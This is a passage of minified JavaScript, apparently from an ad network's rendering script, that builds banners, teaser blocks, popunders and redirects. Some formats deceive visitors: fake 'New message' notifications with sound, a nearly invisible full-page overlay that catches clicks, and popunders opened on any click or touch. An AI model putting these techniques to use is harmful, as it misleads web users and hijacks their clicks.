+ &quot;clickUrl\\x3d&quot; + b + this.Aa(), c);             a.style.cssText = &quot;width:&quot; + d + &quot;px;height:&quot; + e + &quot;px;border:none;&quot;;             a.scrolling = &quot;no&quot;         }, ya: function (a) {             var b = a.clickUri.replace(&quot;clk&quot;, &quot;cl&quot;);             a = (a.trackingDomain || a.teasers[0].trackingDomain) + g.g(b);             g.X(a).style.cssText = this.U         }, close: function (a, b) {             this.ya(a);             this.na(b)         },         na: function (a) {             a && k.body.removeChild(a)         }, t: function (a) {             var b = this;             this.b(k, &quot;mousemove&quot;, function () {                 b.ja++             }, T);             this.b(k, &quot;scroll&quot;, function () {                 b.ka++             }, T);             this.ea.h = x.a.scriptsDomain + &quot;img\/adv.png&quot;;             this.Z = this.w.va(&quot;1&quot;);             g.log(a);             this.W = navigator.userAgent.toLowerCase();             this.ca = -1 &lt; this.W.indexOf(&quot;opera&quot;);             this.za = !this.ca && -1 &lt; this.W.indexOf(&quot;msie&quot;);             this.wa = x.a.scriptsDomain + &quot;img\/close.png&quot;;             this.xa = x.a.scriptsDomain + &quot;img\/close_ie.gif&quot;;             this.ia = &quot;z-index:101;position:absolute;top:${offsetTop}px;right:-12px;background:url(&quot; +                 this.wa + &quot;) no-repeat 50%;width:30px;height:30px;cursor:pointer;* background:url(&quot; + this.xa + &quot;);&quot;;             this.ib = x.a.scriptsDomain + &quot;img\/blank.gif&quot;;             this.Da = &quot;background:white;filter:progid:DXImageTransform.Microsoft.Alpha(opacity\\x3d1);-moz-opacity:0.01;-khtml-opacity:0.01;opacity:0.01;cursor:pointer;left:0px;top:0px;right:0px;bottom:0px;width:100%;height:100%;position:absolute;&quot;;             this.V.allowScriptAccess = &quot;always&quot;;             this.V.quality = &quot;high&quot;;             this.V.wmode = &quot;transparent&quot;         }, p: function () {             g.log(&quot;Method not implemented&quot;)         },         M: function (a, b) {             var c = k.createElement(&quot;div&quot;);             a.appendChild(c);             c.style.width = b.width + &quot;px&quot;;             c.style.height = b.height + &quot;px&quot;;             !this.Z && b.stubSrc && (c.style.background = &quot;url(&quot; + x.a.imgDomain + b.stubSrc + &quot;) no-repeat 50% 50%&quot;);             if (b.iframeUrl)this.Ma(b.iframeUrl, encodeURIComponent(b.trackingDomain + g.g(b.clickUri)), c, b.width, b.height); else if (g.Oa(b.src, &quot;.swf&quot;)) {                 var d = k.createElement(&quot;div&quot;);                 d.id = &quot;swf&quot; + (new String(Math.random())).slice(2);                 c.appendChild(d);                 this.N(b.src, d.id, encodeURIComponent(b.trackingDomain + g.g(b.clickUri)),                     d.id, b.width, b.height)             } else c.style.background = &quot;url(&quot; + x.a.imgDomain + b.src + &quot;) no-repeat 50% 50%&quot;         }};     E(xa, I);     xa.prototype.p = function (a) {         var b = this;         b.t(a);         var c = g.z(&quot;div&quot;);         b.f = c;         b.M(c, a);         b.H(c, a, &quot;bottom&quot;, &quot;right&quot;);         b.J(c, a);         var d = b.$(a.width, a.height), e = &quot;z-index:9999;position:fixed;top:50%;left:50%;margin-top:-&quot; + a.height \/ 2 + &quot;px;margin-left:-&quot; + a.width \/ 2 + &quot;px;width: &quot; + a.width + &quot;px;height: &quot; + a.height + &quot;px;&quot;;         g.v() || (e = e.replace(&quot;fixed&quot;, &quot;absolute&quot;), b.b(r, &quot;scroll&quot;, function () {             c.style.top = g.q() + d.top + &quot;px&quot;         }), b.b(r,             &quot;resize&quot;, function () {                 var d = b.$(a.width, a.height);                 c.style.top = g.q() + d.top + &quot;px&quot;             }));         c.style.cssText = e;         this.ba(a, c, c)     };     xa.prototype.$ = function (a, b) {         return{left: (g.ua() - a) \/ 2, top: (g.k() - b) \/ 2}     };     E(Ta, I);     Ta.prototype.p = function (a) {         function b() {             var b = setInterval(function () {                 f &lt; parseInt(a.height, 10) + d ? (f += 10, w.style.top = f + &quot;px&quot;) : (clearInterval(b), setTimeout(c, 1E3))             }, 10)         }          function c() {             var a = setInterval(function () {                 0 &lt; f ? (f -= 10, w.style.top = f + &quot;px&quot;) : (clearInterval(a), setTimeout(b, e))             }, 20)         }          var d = a.showLogo ? 24 : 18, e = 15E3,             f = a.height, p = 0, h = 6 == a.bannerPosition ? &quot;left&quot; : &quot;right&quot;;         this.t(a);         var j = g.z(&quot;div&quot;);         this.f = j;         var w = k.createElement(&quot;div&quot;);         j.appendChild(w);         this.M(w, a);         this.H(w, a, &quot;top&quot;, &quot;left&quot;);         this.J(w, a);         h = &quot;z-index:9999;padding:&quot; + d + &quot;px 9px 0 0;overflow:hidden;position:fixed;bottom:0;&quot; + h + &quot;: 0px;width: &quot; + a.width + &quot;px;height: &quot; + a.height + &quot;px;&quot;;         g.v() || (h = h.replace(&quot;fixed&quot;, &quot;absolute&quot;), h += &quot;bottom:auto;top:&quot; + (g.k() - a.height - d) + &quot;px;&quot;, this.b(r, &quot;scroll&quot;, function () {             j.style.top = g.q() + g.k() - a.height + &quot;px&quot;         }), this.b(r, &quot;resize&quot;, function () {             j.style.top =                 g.q() + g.k() - a.height - d + &quot;px&quot;         }));         j.style.cssText = h;         w.style.cssText = &quot;position:relative;top: &quot; + a.height + &quot;px;&quot;;         this.ba(a, w, j, a.showLogo ? -20 : -12);         a.animate ? setTimeout(function () {             var b = setInterval(function () {                 Math.abs(parseInt(banner.style.top, 10)) &gt; a.height ? w.style.top = (p += 20) + &quot;px&quot; : clearInterval(b)             }, 20)         }, 1E3) : c()     };     E(Ua, I);     Ua.prototype.p = function (a) {         this.t(a);         var b = g.z(&quot;div&quot;);         this.f = b;         this.M(b, a);         this.H(b, a, &quot;bottom&quot;, &quot;right&quot;);         this.J(b, a);         var c = &quot;z-index:9999;position:fixed;top:0px;left: 50%;width: &quot; + a.width +             &quot;px;height: &quot; + a.height + &quot;px;margin-left:-&quot; + a.width \/ 2 + &quot;px&quot;;         g.v() || (c = c.replace(&quot;fixed&quot;, &quot;absolute&quot;), this.b(r, &quot;scroll&quot;, function () {             b.style.top = g.q() + &quot;px&quot;         }));         b.style.cssText = c;         this.ba(a, b, b, 3)     };     E(Va, I);     Va.prototype.p = function (a) {         this.t(a);         var b = g.z(&quot;div&quot;);         this.f = b;         this.M(b, a);         this.H(b, a, &quot;top&quot;, &quot;left&quot;);         this.J(b, a);         var c = &quot;z-index:9999;position:fixed;left: 50%;bottom:0; width: &quot; + a.width + &quot;px;height: &quot; + a.height + &quot;px;margin-left:-&quot; + a.width \/ 2 + &quot;px&quot;;         g.v() ? this.b(r, &quot;resize&quot;, function () {             b.style.top = g.k() - a.height + &quot;px&quot;         }) :             (c = c.replace(&quot;fixed&quot;, &quot;absolute&quot;), c += &quot;bottom:auto;top:&quot; + (g.k() - a.height) + &quot;px;&quot;, this.b(r, &quot;scroll&quot;, function () {                 b.style.top = g.q() + g.k() - a.height + &quot;px&quot;             }), this.b(r, &quot;resize&quot;, function () {                 b.style.top = g.q() + g.k() - a.height + &quot;px&quot;             }));         b.style.cssText = c;         this.ba(a, b, b, a.showLogo ? -20 : -12)     };     E(ca, I);     ca.prototype.p = function (a) {         function b() {             if (!c && (j.ja &gt; j.Ca || 0 &lt; j.ka) && 1E3 &lt;= (new Date).getTime() - d) {                 c = y;                 var b = function (a) {                     l = setInterval(function () {                         if (h[a] && p[a] &lt; f * F)p[a] += 5, h[a].style.top = p[a] + &quot;px&quot;; else {                             clearInterval(l);                             var c =                                 a + 1;                             if (c &lt; h.length)setTimeout(function () {                                 b(c)                             }, h[a] ? 4E3 : 0); else {                                 for (var d = 0; d &lt; h.length; d++)h[d] && (h[d].style.top = f * h.length + 10);                                 setTimeout(function () {                                     j.ha(c, h[0] && &quot;true&quot; == h[0]);                                     e(0)                                 }, h[a] ? 1E4 : 0)                             }                         }                     }, 10)                 }, e = function (a) {                     l = setInterval(function () {                         if (h[a] && p[a] &gt; f * (F - 1))for (var c = a; 0 &lt;= c; c--)h[c] && (p[c] -= 5, h[c].style.top = p[c] + &quot;px&quot;); else {                             clearInterval(l);                             var d = a + 1;                             d &lt; h.length ? setTimeout(function () {                                 j.ha(d, h[d] && &quot;true&quot; == h[d]);                                 e(d)                             }, h[a] ? 4E3 : 0) : setTimeout(function () {                                 b(0)                             }, h[a] ? 8E3 : 0)                         }                     }, 20)                 }, F = 0, n = function () {                     for (var a =                         F = 0; a &lt; h.length; a++)h[a] != z && F++                 }, m = function (b, c, d) {                     j.f.removeChild(h[c]);                     j.K(b);                     h[c] = z;                     n();                     d && j.ya(a);                     b = T;                     for (d = c; d &lt; h.length; d++)h[d] && (!b && p[d] &gt;= f * h.length) && (b = y, p[d] = p[c], h[d].style.top = p[d] + &quot;px&quot;);                     if (!b) {                         var e = f;                         j.f.style.overflow = &quot;visible&quot;;                         var k = setInterval(function () {                             if (0 &lt; e) {                                 e -= 5;                                 for (var a = c; 0 &lt;= a; a--)h[a] && (p[a] += 5, h[a].style.top = p[a] + &quot;px&quot;)                             } else j.f.style.overflow = &quot;hidden&quot;, clearInterval(k)                         }, 10)                     }                     j.f.style.height = f * F + &quot;px&quot;;                     g.v() || (j.f.style.top = g.q() + g.k() - f * F + &quot;px&quot;);                     for (d = 0; d &lt; h.length; d++)h[d] &&                     (p[d] -= f, h[d].style.top = p[d] + &quot;px&quot;)                 };                 j.f = g.z(&quot;div&quot;);                 var u = a.trackingDomain + g.g(a.clickUri.replace(&quot;\/?&quot;, &quot;&quot;)), l;                 j.J(j.f, a);                 for (var x = 0; x &lt; w.length; x++) {                     p.push(f * w.length);                     var t = k.createElement(&quot;div&quot;);                     t.id = &quot;vid-&quot; + x;                     t.className = &quot;vmcontainer&quot;;                     var v = k.createElement(&quot;div&quot;);                     t.setAttribute(&quot;mute&quot;, a.mute);                     t.onmouseover = function () {                         this.className += &quot; hover&quot;                     };                     t.onmouseout = function () {                         this.className = this.className.replace(&quot; hover&quot;, &quot;&quot;)                     };                     var ja = k.createElement(&quot;div&quot;);                     ja.style.cssText = &quot;position:relative;&quot;;                     ja.innerHTML =                         &quot;\\x3cspan\\x3e&quot; + w[x].header + &quot;\\x3c\/span\\x3e&quot;;                     var ka = k.createElement(&quot;a&quot;);                     ka.id = &quot;vclose-&quot; + x;                     var C = k.createElement(&quot;a&quot;);                     ka.className = &quot;vclose&quot;;                     ja.appendChild(ka);                     ka.appendChild(C);                     v.appendChild(ja);                     C = k.createElement(&quot;div&quot;);                     C.style.cssText = &quot;float:left;margin:0 10px 0 10px;border-radius:3px;overflow:hidden;box-shadow:0 1px 2px rgb(17, 17, 17);&quot;;                     v.appendChild(C);                     g.pa() || (v.style.cssText = &quot;padding:5px 15px;&quot;);                     var D = k.createElement(&quot;div&quot;), E = k.createElement(&quot;style&quot;), G = k.getElementsByTagName(&quot;head&quot;)[0];                     E.type =                         &quot;text\/css&quot;;                     E.styleSheet ? E.styleSheet.cssText = A : E.appendChild(k.createTextNode(A));                     G.appendChild(E);                     D.innerHTML = '\\x3cspan class\\x3d&quot;text-link&quot;\\x3e\\x3ca href\\x3d&quot;#&quot; \\x3e' + w[x].title + &quot;\\x3c\/a\\x3e\\x3c\/span\\x3e&quot; + w[x].description;                     v.appendChild(D);                     j.M(C, a);                     j.f.appendChild(t);                     t.appendChild(v);                     h.push(t);                     ka.onclick = function (a) {                         var b = parseInt(this.id.replace(&quot;vclose-&quot;, &quot;&quot;));                         m(a, b, y)                     };                     t.onclick = function (a) {                         j.K(a);                         var b = parseInt(this.id.replace(&quot;vid-&quot;, &quot;&quot;));                         m(a, b, T);                         r.open(u)                     };                     ja.style.cssText = &quot;position:relative;font-size:13px;height:19px;line-height:19px;color:white;padding:10px 10px 3px;font-weight:bold;&quot;;                     t.style.cssText = q                 }                 n();                 x = &quot;z-index:9999;overflow:hidden;font-family: tahoma,arial,verdana,sans-serif,Lucida Sans;font-size: 11px;z-index:9999; position:fixed;bottom:0;left: 10px;width:345px;height:&quot; + f * h.length + &quot;px;&quot;;                 g.v() || (x = x.replace(&quot;fixed&quot;, &quot;absolute&quot;), x += &quot;bottom:auto;top:&quot; + (g.k() - f * h.length) + &quot;px;&quot;, j.b(r, &quot;scroll&quot;, function () {                     j.f.style.top = g.q() + g.k() - F * f + &quot;px&quot;                 }), j.b(r, &quot;resize&quot;, function () {                     j.f.style.top = g.q() + g.k() - F * f + &quot;px&quot;                 }));                 j.f.style.cssText = x;                 g.v() || (j.f.style.top = g.q() + g.k() - F * f + &quot;px&quot;);                 setTimeout(function () {                     0 &lt;                         h.length && (j.ha(0, h[0] && &quot;true&quot; == h[0]), e(0))                 }, 3E3)             }         }          var c = T, d = (new Date).getTime(), e = &quot;vm&quot; + (new Date).getTime(), f = g.pa() ? 105 : 125, p = [], h = [], j = this, w = j.Qa(a, e);         j.t(a);         var A = '.vclose {width: 23px; height: 23px; display: block; filter:progid:DXImageTransform.Microsoft.Alpha(opacity\\x3d0);-moz-opacity: 0;-khtml-opacity:0;opacity:0;position:absolute; right:10px; top:10px; background: url(&quot;' + x.a.scriptsDomain + 'img\/notifier_close_ie.png&quot;) no-repeat scroll 0 0;} .vclose a {display:none; width:7px; height:7px;margin:8px; background:url(' +                 x.a.scriptsDomain + &quot;\/img\/notifier_close.gif)}.vclose:hover a{display:block; filter:progid:DXImageTransform.Microsoft.Alpha(opacity\\x3d60);-moz-opacity:.6;-khtml-opacity:.6;opacity:.6;}.vmcontainer:hover .vclose:hover{filter:progid:DXImageTransform.Microsoft.Alpha(opacity\\x3d100);-moz-opacity:1;-khtml-opacity:1;opacity:1;}.vmcontainer:hover .vclose, .vmcontainer.hover .vclose{filter:progid:DXImageTransform.Microsoft.Alpha(opacity\\x3d60);-moz-opacity:.6;-khtml-opacity:.6;opacity:.6;} .text-link {padding-right:10px;} .text-link a {color:rgb(177, 218, 255);font-weight:bold;text-decoration:none;}.text-link a:hover {text-decoration:underline;}&quot;,             e = 'height:130px;width:350px; background: url(&quot;' + x.a.scriptsDomain + 'img\/notifier_back.png&quot;) center center no-repeat; ', q = &quot;left:0;color:white;margin:0 0 10px 0;&quot; + (g.pa() ? &quot;height:95px;width:320px;border-radius: 5px 5px 5px 5px;box-shadow: 0pt 2px 15px rgb(0, 0, 0);text-shadow: 0px 1px 0px rgb(38, 38, 38);background:rgba(0,0,0,0.75);&quot; : e) + &quot;position:absolute;top: &quot; + (f * w.length + 10) + &quot;px;&quot;;         this.b(k, &quot;mousemove&quot;, function () {             b()         }, T);         this.b(k, &quot;scroll&quot;, function () {             b()         }, T)     };     ca.prototype.T = z;     ca.prototype.Qa = function (a, b) {         var c = [], d = a.title.split(&quot;{splitter}&quot;), e = a.description.split(&quot;{splitter}&quot;);         a.windowHeader || (a.windowHeader = &quot;\\u041d\\u043e\\u0432\\u043e\\u0435 \\u0441\\u043e\\u043e\\u0431\\u0449\\u0435\\u043d\\u0438\\u0435&quot;);         for (var f = a.windowHeader.split(&quot;{splitter}&quot;), k = Math.max(f.length, Math.max(d.length, e.length)), h = 0; h &lt; k; h++) {             var j = {};             j.title = this.B(h &lt; d.length ? d[h] : d[0]);             j.description = this.B(h &lt; e.length ? e[h] : e[0]);             j.header = this.B(h &lt; f.length ? f[h] : f[0]);             &quot;&quot; == j.header && (j.header = &quot;\\u041d\\u043e\\u0432\\u043e\\u0435 \\u0441\\u043e\\u043e\\u0431\\u0449\\u0435\\u043d\\u0438\\u0435&quot;);             j.wrapperId = b;             j.id = b + h + 1;             j.index = h;             c.push(j)         }         g.log(c);         return c     };     ca.prototype.ha = function (a, b) {         if (b == T)if (g.Q()) {             var c = k.createElement(&quot;bgsound&quot;);             c.src = x.a.scriptsDomain + &quot;img\/bb2.mp3&quot;;             c.loop = &quot;1&quot;;             k.body.appendChild(c)         } else this.T && (c = k.getElementById(this.T)) && this.f && this.f.removeChild(c), c = k.createElement(&quot;div&quot;), this.T = &quot;vkmsound&quot; + a, c.id = this.T, this.f.appendChild(c), g.w.N(x.a.scriptsDomain + &quot;img\/mp3player.swf?file\\x3d&quot; + x.a.scriptsDomain + &quot;img\/bb2.mp3\\x26startplay\\x3dtrue&quot;, this.T, &quot;1&quot;, &quot;1&quot;, &quot;10.0.0&quot;, z, z,             this.V)     };     E(Wa, I);     Wa.prototype.p = function (a) {         this.t(a);         var b = {limit: a.limit, period: a.period, limitName: &quot;__trflimit&quot;, periodName: &quot;__trfmon&quot;}, c = T;         if (g.ga(b)) {             var d = this, e = navigator.userAgent.toLowerCase();             this.b(k, -1 &lt; e.indexOf(&quot;iphone&quot;) || -1 &lt; e.indexOf(&quot;ipad&quot;) ? &quot;touchstart&quot; : &quot;click&quot;, function () {                 g.ga(b) && !c && (c = y, g.log(a.trackingDomain + g.g(a.clickUri + d.G())), g.ma.call(d, a.trackingDomain + g.g(a.clickUri + d.G()), y, &quot;_blank&quot;, &quot;&quot;), g.Ea(b))             });             this.J(k.body, a)         }     };     E(ya, I);     ya.prototype.p = function (a) {         var b = {limit: a.limit,             period: a.period, limitName: &quot;__trfpoplimit&quot;, periodName: &quot;__trfmonpop&quot;};         this.t(a);         if (g.ga(b)) {             var c = g.z(&quot;div&quot;), d = k.createElement(&quot;div&quot;);             c.appendChild(d);             this.M(d, a);             var e = this;             e.f = c;             d.onclick = function (d) {                 g.ma(a.trackingDomain + g.g(a.clickUri + e.G()), y, &quot;_blank&quot;, &quot;&quot;);                 g.Ea(b);                 e.K(d);                 e.na(c)             };             this.H(c, a, &quot;bottom&quot;, &quot;right&quot;);             this.J(c, a);             var f = this.$(a.width, a.height), d = &quot;z-index:9999;cursor:pointer;position:fixed;top: &quot; + f.top + &quot;px;left: &quot; + f.left + &quot;px;width: &quot; + a.width + &quot;px;height: &quot; + a.height + &quot;px;&quot;;             g.v() || (d = d.replace(&quot;fixed&quot;,                 &quot;absolute&quot;), this.b(r, &quot;scroll&quot;, function () {                 c.style.top = g.q() + f.top + &quot;px&quot;             }));             c.style.cssText = d;             d = k.createElement(&quot;span&quot;);             d.style.cssText = this.ia.replace(&quot;${offsetTop}&quot;, &quot;-20&quot;);             e = this;             d.onclick = function (b) {                 e.K(b);                 g.ma.call(e, a.trackingDomain + g.g(a.closeUri), y, &quot;_blank&quot;, &quot;&quot;);                 e.close(a, c)             };             c.appendChild(d)         }     };     ya.prototype.$ = function (a, b) {         return{left: (g.ua() - a) \/ 2, top: (g.k() - b) \/ 2}     };     E(Xa, I);     Xa.prototype.p = function (a) {         this.t(a);         confirm(a.bannerText) && (r.location = a.trackingDomain + g.g(a.clickUri))     };     E(Ya, I);     Ya.prototype.p =         function (a) {             r.globalInfo.mredRendered || (r.globalInfo.mredRendered = y, g.log(&quot;Rendering m redir&quot;), g.da(a.trackingDomain, a.clickUri))         };     E(da, I);     da.prototype.r = &quot;&quot;;     da.prototype.p = function (a) {         function b(a, b) {             a.style.cssText = j.I[b];             d.b(a, &quot;mouseover&quot;, function () {                 a.style.cssText = j.P[b];                 &quot;text&quot; == b && j.o([a])             }, T);             d.b(a, &quot;mouseout&quot;, function () {                 a.style.cssText = j.I[b];                 j.o([a])             }, T)         }          function c(a, b) {             d.b(a, &quot;mouseover&quot;, function () {                 b.style.cssText = j.P.sPText;                 &quot;TD&quot; == a.tagName && j.o([b])             }, y);             d.b(a, &quot;mouseout&quot;, function () {                 b.style.cssText =                     j.I.sPText;                 j.o([b])             }, y)         }          this.t(a);         var d = this, e = k.createElement(&quot;table&quot;), f = k.createElement(&quot;tbody&quot;), p = k.createDocumentFragment(), h = k.createElement(&quot;img&quot;), j = this, w = s, A;         if (!w) {             w = {};             w.size = parseInt(a.bannerSize, 10) + 2 * parseInt(a.imgBorderWidth, 10);             var q = w.size + parseInt(a.imgMarginSize, 10);             switch (a.orientation) {                 case &quot;over&quot;:                     w.margin = &quot;0&quot;;                     w.C = &quot;0 0 &quot; + a.imgMarginSize + &quot;px&quot;;                     w.m = &quot;none&quot;;                     w.l = &quot;center&quot;;                     w.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize), left: -(a.bannerSizeOnmouseover - a.bannerSize) \/ 2};                     break;                 case &quot;left&quot;:                     w.margin =                         &quot;0 0 0 &quot; + q + &quot;px&quot;;                     w.C = &quot;0 -&quot; + q + &quot;px 0 0&quot;;                     w.m = &quot;left&quot;;                     w.l = &quot;left&quot;;                     w.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize) \/ 2, left: -(a.bannerSizeOnmouseover - a.bannerSize)};                     break;                 case &quot;right&quot;:                     w.margin = &quot;0 &quot; + q + &quot;px 0 0&quot;, w.C = &quot;0 0 0 -&quot; + q + &quot;px&quot;, w.m = &quot;right&quot;, w.l = &quot;left&quot;, w.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize) \/ 2, left: 0}             }         }         A = w;         var B = g.Q() ? &quot;display:inline;zoom:1;&quot; : &quot;display:inline-block;&quot;, q = k.getElementById(&quot;wzblock&quot; + a.blockId), n = parseInt(a.textSize, 10), m = n + (parseInt(a.textMouseOnTextSize, 10) - parseInt(a.textSize, 10)), l =             n + (parseInt(a.textMouseOnTeaserSize, 10) - parseInt(a.textSize, 10));         this.d = parseInt(a.textDivHeight, 10);         j.I = {table: &quot;table-layout:fixed;background:&quot; + a.background + &quot;;border-collapse:separate;border-spacing:&quot; + a.blockMarginVert + &quot;px &quot; + a.blockMarginHoriz + &quot;px;width:&quot; + a.width + a.widthUnit + &quot;;border:&quot; + a.borderWidth + &quot;px &quot; + a.borderType + &quot; &quot; + a.borderColor + &quot;;&quot;, D: &quot;vertical-align:top;background:&quot; + a.cellBackground + &quot;;border:&quot; + a.cellBorderWidth + &quot;px &quot; + a.cellBorderType + &quot; &quot; + a.cellBorderColor + &quot;;cursor:pointer;text-align:&quot; + A.l +             &quot;;width:&quot; + a.width \/ a.horizCount + a.widthUnit + &quot;;&quot;, u: &quot;z-index:1;margin:&quot; + A.C + &quot;;position:relative;&quot; + B + &quot;;height:&quot; + A.size + &quot;px;width:&quot; + A.size + &quot;px;float:&quot; + A.m + &quot;;&quot;, h: &quot;z-index:1;position:absolute;top:0;left:0;width:&quot; + a.bannerSize + &quot;px;height:&quot; + a.bannerSize + &quot;px;border:&quot; + a.imgBorderWidth + &quot;px &quot; + a.imgBorderType + &quot; &quot; + a.imgBorderColor + &quot;;&quot;, text: &quot;margin:&quot; + A.margin + &quot;;cursor:pointer;float:&quot; + A.m + &quot;;height:&quot; + (0 != this.d ? this.d + &quot;px&quot; : &quot;auto&quot;) + &quot;;text-decoration:&quot; + (&quot;false&quot; != a.textFontUnderline ? &quot;underline&quot; : &quot;none&quot;) + &quot;;display:block;font-weight:&quot; +             (&quot;false&quot; != a.textFontBold ? &quot;700&quot; : &quot;100&quot;) + &quot;;font-size:&quot; + n + a.textSizeUnit + &quot;;font-family:&quot; + a.textFont + &quot;;color:&quot; + a.textColor + &quot;;&quot;, sPText: &quot;margin:&quot; + A.margin + &quot;;cursor:pointer;float:&quot; + A.m + &quot;;height:&quot; + (0 != this.d ? this.d + &quot;px&quot; : &quot;auto&quot;) + &quot;;text-decoration:&quot; + (&quot;false&quot; != a.textFontUnderline ? &quot;underline&quot; : &quot;none&quot;) + &quot;;display:block;font-weight:&quot; + (&quot;false&quot; != a.textFontBold ? &quot;700&quot; : &quot;100&quot;) + &quot;;font-size:&quot; + n + a.textSizeUnit + &quot;;font-family:&quot; + a.textFont + &quot;;color:&quot; + a.textColor + &quot;;&quot;};         j.P = {table: &quot;table-layout:fixed;background:&quot; + a.backgroundOnmouseover +             &quot;;border-collapse:separate;border-spacing:&quot; + a.blockMarginVert + &quot;px &quot; + a.blockMarginHoriz + &quot;px;width:&quot; + a.width + a.widthUnit + &quot;;border:&quot; + a.borderWidth + &quot;px &quot; + a.borderType + &quot; &quot; + a.borderColor + &quot;;&quot;, D: &quot;vertical-align:top;background:&quot; + a.cellBackgroundOnmouseover + &quot;;border:&quot; + a.cellBorderWidth + &quot;px &quot; + a.cellBorderType + &quot; &quot; + a.cellBorderColor + &quot;;cursor:pointer;text-align:&quot; + A.l + &quot;;width:&quot; + a.width \/ a.horizCount + a.widthUnit + &quot;;&quot;, u: &quot;z-index:5;margin:&quot; + A.C + &quot;;position:relative;&quot; + B + &quot;;height:&quot; + A.size + &quot;px;width:&quot; + A.size + &quot;px;float:&quot; +             A.m + &quot;;&quot;, h: &quot;z-index:10;cursor:pointer;position:absolute;top:&quot; + w.A.top + &quot;px;left:&quot; + w.A.left + &quot;px;height:&quot; + a.bannerSizeOnmouseover + &quot;px;width:&quot; + a.bannerSizeOnmouseover + &quot;px;border:&quot; + a.imgBorderWidth + &quot;px &quot; + a.imgBorderType + &quot; &quot; + a.imgBorderColor + &quot;;&quot;, text: &quot;margin:&quot; + A.margin + &quot;;cursor:pointer;float:&quot; + A.m + &quot;;height:&quot; + (0 != this.d ? this.d + &quot;px&quot; : &quot;auto&quot;) + &quot;;text-decoration:&quot; + (&quot;false&quot; != a.textMouseOnTextFontUnderline ? &quot;underline&quot; : &quot;none&quot;) + &quot;;display:block;font-weight:&quot; + (&quot;false&quot; != a.textMouseOnTextFontBold ? &quot;700&quot; : &quot;100&quot;) + &quot;;font-size:&quot; +             m + a.textMouseOnTextSizeUnit + &quot;;font-family:&quot; + a.textMouseOnTextFont + &quot;;color:&quot; + a.textMouseOnTextColor + &quot;;&quot;, sPText: &quot;margin:&quot; + A.margin + &quot;;cursor:pointer;float:&quot; + A.m + &quot;;height:&quot; + (0 != this.d ? this.d + &quot;px&quot; : &quot;auto&quot;) + &quot;;text-decoration:&quot; + (&quot;false&quot; != a.textMouseOnTeaserFontUnderline ? &quot;underline&quot; : &quot;none&quot;) + &quot;;display:block;font-weight:&quot; + (&quot;false&quot; != a.textMouseOnTeaserFontBold ? &quot;700&quot; : &quot;100&quot;) + &quot;;font-size:&quot; + l + a.textMouseOnTeaserSizeUnit + &quot;;font-family:&quot; + a.textMouseOnTeaserFont + &quot;;color:&quot; + a.textMouseOnTeaserColor + &quot;;&quot;};         this.ta = function () {             0 ==                 this.d && (this.d = &quot;over&quot; == a.orientation ? 35 : a.bannerSize)         };         if (!q) {             q = k.getElementsByTagName(&quot;script&quot;);             A = RegExp(&quot;bid\\x3d(&quot; + a.blockId + &quot;)(\\\\D|.{0}$)&quot;);             w = 0;             for (B = q.length; w &lt; B; w += 1)if (-1 != q[w].src.indexOf(x.a.rotatorDomain) && A.test(g.L(q[w].src)) || -1 != q[w].text.indexOf(x.a.rotatorDomain) && -1 != q[w].text.indexOf(x.a.trsKey)) {                 A = k.createElement(&quot;div&quot;);                 A.id = &quot;wzblock&quot; + a.blockId;                 q[w].parentNode.insertBefore(A, q[w].nextSibling);                 break             }         }         q = k.getElementById(&quot;wzblock&quot; + a.blockId);         q.style.display = &quot;block&quot;;         r.globalInfo.arrBlocks =             [];         this.data = a;         p.appendChild(e);         b(e, &quot;table&quot;);         for (w = A = 0; w &lt; a.vertCount; w += 1) {             B = k.createElement(&quot;tr&quot;);             for (n = 0; n &lt; a.horizCount; n += 1) {                 var m = {D: k.createElement(&quot;td&quot;), h: k.createElement(&quot;img&quot;), text: k.createElement(&quot;span&quot;), u: k.createElement(&quot;span&quot;)}, l = a.teasers[A], u = k.createElement(&quot;span&quot;), t = k.createElement(&quot;a&quot;);                 A++;                 for (var v in m)b(m[v], v), &quot;td&quot; == v && c(m[v], m.text);                 var C = l.trackingDomain;                 m.h.src = x.a.imgDomain + l.src;                 m.h.title = this.B(l.title);                 m.h.alt = this.B(l.title);                 m.h.setAttribute(&quot;clickUri&quot;, l.clickUri);                 g.Q() &&                 (m.h.onclick = function () {                     r.open(C + g.g(this.getAttribute(&quot;clickUri&quot;) + d.G()))                 });                 u.innerHTML = this.B(l.title);                 m.text.className = &quot;wzTextSpan&quot;;                 m.text.appendChild(u);                 r.globalInfo.arrBlocks.push(m.text);                 m.u.appendChild(m.h);                 t.target = &quot;_blank&quot;;                 t.href = l.trackingDomain + g.g(l.clickUri);                 t.style.cssText = &quot;text-decoration:none;display:block;&quot;;                 t.setAttribute(&quot;clickUri&quot;, l.clickUri);                 t.onclick = function () {                     this.href = C + g.g(this.getAttribute(&quot;clickUri&quot;) + d.G())                 };                 t.appendChild(m.u);                 t.appendChild(m.text);                 m.D.appendChild(t);                 B.appendChild(m.D)             }             f.appendChild(B);             e.appendChild(f)         }         h.src = a.teasers[0].impDomain + g.g(a.trackShowUri);         h.style.cssText = &quot;left:-10000px;top:-10000px;height:1px;width:1px;position:absolute;&quot;;         p.appendChild(h);         q.appendChild(p);         this.o();         if (&quot;px&quot; != this.r.widthUnit) {             var E = e.offsetWidth;             r.onresize = function () {                 10 &lt; Math.abs(E - e.offsetWidth) && (j.o(), E = e.offsetWidth)             }         }     };     da.prototype.o = function (a) {         if (!this.data.dontResizeFonts) {             0 == parseInt(this.d, 10) && this.ta();             a = a || r.globalInfo.arrBlocks;             for (var b = 0, c = a.length; b &lt; c; b += 1)if (&quot;SPAN&quot; == a[b].tagName || &quot;TD&quot; ==                 a[b].tagName) {                 var d = a[b].getElementsByTagName(&quot;span&quot;)[0];                 if (&quot;undefined&quot; !== typeof d)if (d.offsetHeight &gt; parseInt(this.d, 10))for (; a[b].style.fontSize && d.offsetHeight &gt; parseInt(this.d, 10) && 0 &lt; parseInt(a[b].style.fontSize, 10);)a[b].style.fontSize = parseInt(a[b].style.fontSize, 10) - 1 + this.data.textSizeUnit; else for (; a[b].style.fontSize && d.offsetHeight &lt; parseInt(this.d, 10) && parseInt(a[b].style.fontSize, 10) &lt; parseInt(this.data.textSize, 10);)a[b].style.fontSize = parseInt(a[b].style.fontSize, 10) + 1 + this.data.textSizeUnit             }         }     };     E(ga, da);     ga.prototype.p = function (a) {         function b() {             var a = r.scrollY || j.scrollTop || k.body.scrollTop;             m &lt;= a && !n ? (clearInterval(q), q = s, f.style.display = &quot;block&quot;, d.o(), n = setInterval(function () {                 0 